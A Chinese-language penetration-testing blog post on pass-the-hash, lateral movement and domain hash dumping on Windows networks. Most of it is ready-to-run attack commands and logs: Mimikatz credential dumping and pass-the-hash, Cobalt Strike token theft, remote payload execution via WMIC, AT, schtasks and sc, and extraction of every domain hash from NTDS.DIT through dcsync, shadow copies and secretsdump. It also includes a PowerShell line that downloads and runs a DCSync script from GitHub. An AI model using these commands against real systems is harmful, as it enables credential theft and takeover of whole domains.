描述

pass-the-hash在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。

pass the hash原理:

  • 在Windows系统中,通常会使用NTLM身份认证
  • NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成(例如LsaLogonUser)
  • hash分为LM hash和NT hash,如果密码长度大于15,那么无法生成LM hash。从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash
  • 如果攻击者获得了hash,就能够在身份验证的时候模拟该用户(即跳过调用API生成hash的过程)

这类攻击适用于:

  • 域/工作组环境
  • 可以获得hash,但是条件不允许对hash爆破
  • 内网中存在和当前机器相同的密码

微软也对pth打过补丁,然而在测试中发现,在打了补丁后,常规的Pass The Hash已经无法成功,唯独默认的Administrator(SID 500)账号例外,利用这个账号仍可以进行Pass The Hash远程ipc连接。

如果禁用了ntlm认证,PsExec无法利用获得的ntlm hash进行远程连接,但是使用mimikatz还是可以攻击成功。

从windows到windows横向pth这一类攻击方法比较广泛

Mimikatz抓取密码

shell mimi.exe log “privilege::debug” “sekurlsa::logonpasswords” exit

Mimikatz PTH

mimikatz 中的一个隐藏宝石是它能够根据用户名和密码哈希创建信任关系。这是执行此操作的 mimikatz 命令:

1
2
3
shell mimi.exe "sekurlsa::pth /user:USERNAME /domain:DOMAIN /ntlm:HASH /run:COMMAND"

shell mimi.exe "sekurlsa::pth /user:it /domain:TEST /ntlm:dbe09bxxxxxx9c8c7f109f65bac"

在实践中,生成一个新的有效载荷来传递哈希是一种痛苦。生成虚假进程(例如,calc.exe)并窃取其令牌要容易得多。

CS的 steal_token 命令将模拟来自另一个进程的令牌。从我们的虚假流程中窃取的令牌将继续引用您提供的用户名、域和密码哈希。与远程资源交互的任何操作,而 Beacon 持有此令牌,将为我们传递哈希值。

1
steal_token [PID]

使用shell dir \TARGET\C$ 检查权限

1
2
3
4
5
6
beacon> shell dir \\TARGET\c$
[*] Tasked beacon to run: dir \\TARGET\c$
[+] host called home, sent: 52 bytes
[+] received output:
Volume in drive \\TARGET\c$ has no label.
Volume Serial Number is 00EE-EB32

横向移动方法

1.将需要的工具或exe通过copy的方式传到目标机器

2.远程命令执行(WMIC、AT、SCHTASKS、SC)

WMIC

可以使用wmic在远程主机上运行进程。这是执行此操作的语法:

1
shell wmic /node: host process call create “c:\windows\temp\ foobar.exe ”

AT

您还可以安排一个程序与 at 一起运行。该AT命令是由Windows 8弃用您将无法使用此选项从或对Windows 8的目标。也就是说,此选项的语法很容易记住。

首先,找出远程系统上的时间,接下来,使用at安排foobar.exe在不久的将来某个时间运行。

1
2
shell net time \\host
shell at \\host HH:MM c:\windows\temp\foobar.exe

SCHTASKS

在目标系统上运行代码的另一个选项是 schtasks

1
2
shell schtasks /create /tn foobar /tr c:\windows\temp\foobar.exe /sc once /st 00:00 /S host /RU System
shell schtasks /run /tn foobar /S host

你应该在它执行后清理你的任务。这是执行此操作的语法:

1
shell schtasks /F /delete /tn foobar /S host

SC

在远程主机上执行程序的第四个选项是创建一个服务并启动它。您可以使用sc 命令来执行此操作:

1
2
shell sc \\host create foobar binpath= “c:\windows\temp\foobar.exe”
shell sc \\host start foobar

sc 命令需要响应服务控制管理器命令的可执行文件。如果您不提供这样的可执行文件,您的程序将运行,然后立即退出。Cobalt Strike 用于生成暂存可执行文件的对话框为您提供了生成服务可执行文件的选项。确保你注意这个细节。

以下是在服务运行后删除服务的语法:

1
shell sc \\host delete foobar

完整记录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
beacon> shell mimi.exe "sekurlsa::pth /user:test /domain:TEST.COM /ntlm:4ff977a6aexxxxxxxxx5eb286af790b"
[*] Tasked beacon to run: mimi.exe "sekurlsa::pth /user:test /domain:TEST.COM /ntlm:4ff977a6aexxxxxxxxx5eb286af790b"
[+] host called home, sent: 123 bytes
[+] received output:

.#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # sekurlsa::pth /user:test /domain:TEST.COM /ntlm:4ff977a6aexxxxxxxxx5eb286af790b
user : test
domain : TEST.COM
program : cmd.exe
impers. : no
NTLM : 4ff977a6aexxxxxxxxx5eb286af790b
| PID 8572
| TID 17812
| LSA Process is now R/W
| LUID 1 ; 1401080865 (00000001:5382cc21)
\_ msv1_0 - data copy @ 000001D56F74E560 : OK !
\_ kerberos - data copy @ 000001D5716E0BD8
\_ aes256_hmac -> null
\_ aes128_hmac -> null
\_ rc4_hmac_nt OK
\_ rc4_hmac_old OK
\_ rc4_md4 OK
\_ rc4_hmac_nt_exp OK
\_ rc4_hmac_old_exp OK
\_ *Password replace @ 000001D5725F1A18 (32) -> null

mimikatz #
beacon> steal_token 8572
[*] Tasked beacon to steal token from PID 8572
[+] host called home, sent: 12 bytes
[+] Impersonated NT AUTHORITY\SYSTEM
beacon> shell dir \\TARGET\c$
[*] Tasked beacon to run: dir \\TARGET\c$
[+] host called home, sent: 52 bytes
[+] received output:
Volume in drive \\TARGET\c$ has no label.
Volume Serial Number is 00EE-EB32

beacon> shell copy 91695d7b-04b0-406f-a5c6-a6d1a7b939fc.exe \\TARGET\C$\windows
[*] Tasked beacon to run: copy 91695d7b-04b0-406f-a5c6-a6d1a7b939fc.exe \\TARGET\C$\windows
[+] host called home, sent: 102 bytes
[+] received output:
1 file(s) copied.

beacon> shell wmic /node:TARGET process call create "c:\windows\91695d7b-04b0-406f-a5c6-a6d1a7b939fc.exe"
[*] Tasked beacon to run: wmic /node:TARGET process call create "c:\windows\91695d7b-04b0-406f-a5c6-a6d1a7b939fc.exe"
[+] host called home, sent: 128 bytes
[+] received output:
Executing (Win32_Process)->Create()

Method execution successful.

Out Parameters:
instance of __PARAMETERS
{
ProcessId = 7372;
ReturnValue = 0;
};



导出域用户Hash方法总结

在拥有域管权限时,可以提取所有域用户的密码Hash,为下一步渗透做准备。

Hash 值存储在域控制器中(C:\Windows\NTDS\NTDS.DIT)
NTDS.DIT 文件经常被操作系统使用,无法直接复制到其它位置。可尝试以下方法 Dump Hash。

1.Mimikatz

Mimikatz有一个功能(dcsync),它利用目录复制服务(DRS)从 NTDS.DIT 文件中检索密码 Hash 值。

需要权限:域管权限
Mimikatz 需免杀

1
2
3
4
5
6
# 所有用户
Mimikatz "lsadump::dcsync /domain:test.com /all /csv" exit > hash.txt

# 指定用户
Mimikatz "lsadump::dcsync /domain:test.com /user:username" exit > hash.txt

2.Ntdsutil

Ntdsutil 域控制器默认安装,使管理员能访问和管理 Windows Active Directory 数据库。渗透测试中可以用它来拍摄 ntds.dit 文件的快照

需要权限:域管权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 创建快照
ntdsutil snapshot "activate instance ntds" create quit quit
GUID 为 {aa488f5b-40c7-4044-b24f-16fd041a6de2}

# 挂载快照
ntdsutil snapshot "mount GUID" quit quit

# 复制 ntds.dit
copy C:\$SNAP_201908200435_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit

# 卸载快照
ntdsutil snapshot "unmount GUID" quit quit

# 删除快照
ntdsutil snapshot "delete GUID" quit quit

# 查询快照
ntdsutil snapshot "List All" quit quit
ntdsutil snapshot "List Mounted" quit quit

3.Vssadmin

域控制器默认安装

需要权限:域管权限

1
2
3
4
5
6
7
8
9
10
11
12
13
# 查询当前系统的快照
vssadmin list shadows

# 创建快照
vssadmin create shadow /for=c: /autoretry=10
"Shadow Copy Volume Name" 为 \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
"Shadow Copy ID" 为 {aa488f5b-40c7-4044-b24f-16fd041a6de2}

# 复制 ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\NTDS\ntds.dit c:\ntds.dit

# 删除快照
vssadmin delete shadows /for=c: /quiet

4.Diskshadow

DiskShadow 是由微软官方签名的,Windows Server 2008、2012、2016 都包含了 DiskShadow,所在目录C:\windows\system32\diskshadow.exe。包含交互式命令脚本模式

下面利用脚本模式提取AD数据库

1
2
3
4
5
6
7
# 查看存放 `ntds.dit` 的逻辑驱动器(一般为 C 盘)
# 找出系统没有使用的逻辑驱动器号
wmic logicaldisk

# 调用脚本
C:\windows\system32\diskshadow.exe /s C:\shadow.txt

shadow.txt 内容

1
2
3
4
5
6
7
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "C:\windows\system32\cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\ntds.dit
delete shadows volume %someAlias%
reset

5.Powershell

项目地址:https://github.com/EmpireProject/Empire

1
2
3
# 远程加载 Invoke-DCSync.ps1
powershell -exec bypass -command "IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-DCSync.ps1')";Invoke-DCSync -PWDumpFormat > hash.txt

如何从ntds.dit提取Hash

1.NTDSDumpEx

1
2
3
4
5
6
7
8
9
10
usage: ntdsdumpex.exe <-d ntds.dit> <-k HEX-SYS-KEY | -s system.hiv |-r> [-o out.txt] [-h] [-m] [-p] [-u]
-d path of ntds.dit database
-k use specified SYSKEY
-s parse SYSKEY from specified system.hiv
-r read SYSKEY from registry
-o write output into
-h dump hash histories(if available)
-p dump description and path of home directory
-m dump machine accounts
-u USE UPPER-CASE-HEX
1
2
3
# 离线模式:先导出注册表
reg save hklm\system system.hiv
NTDSDumpEx.exe -d ntds.dit -s system.hiv -o hash.txt
1
2
# 在线模式:无需导出注册表
NTDSDumpEx.exe -d ntds.dit -r -o hash.txt

2.Impacket

项目地址:https://github.com/SecureAuthCorp/impacket

1
2
3
4
5
6
git clone https://github.com/SecureAuthCorp/impacket
# 安装所需库
pip install .
python setup.py
# 使用 secretsdump.py 解 Hash
/impacket/examples# python secretsdump.py -ntds /home/workspace/hash/ntds.dit -system /home/workspace/hash/sys.hiv LOCAL > /home/workspace/hash/hash.txt

总结

  1. Mimikatz 在域用户机器执行需要域管权限时,可使用 psexec计划任务等远程执行
  2. 使用 NtdsutilVssadmin 等卷影拷贝工具时,需要先开启 Volume Shadow Copy Service 服务
  3. 有时遇到 NTDSDumpEx 提取出错,可以尝试修复 ntds.dit,修复后还无法提取,则使用 secretsdump.py。缺点:比较耗时

参考链接

https://blog.cobaltstrike.com/2015/05/21/how-to-pass-the-hash-with-mimikatz/

https://blog.cobaltstrike.com/2014/04/30/lateral-movement-with-high-latency-cc/

https://scarletf.github.io/2019/09/03/%E5%9F%9F%E6%B8%97%E9%80%8F-%E5%AF%BC%E5%87%BA%E5%9F%9F%E7%94%A8%E6%88%B7Hash%E6%96%B9%E6%B3%95/

2021-12-20

⬆︎TOP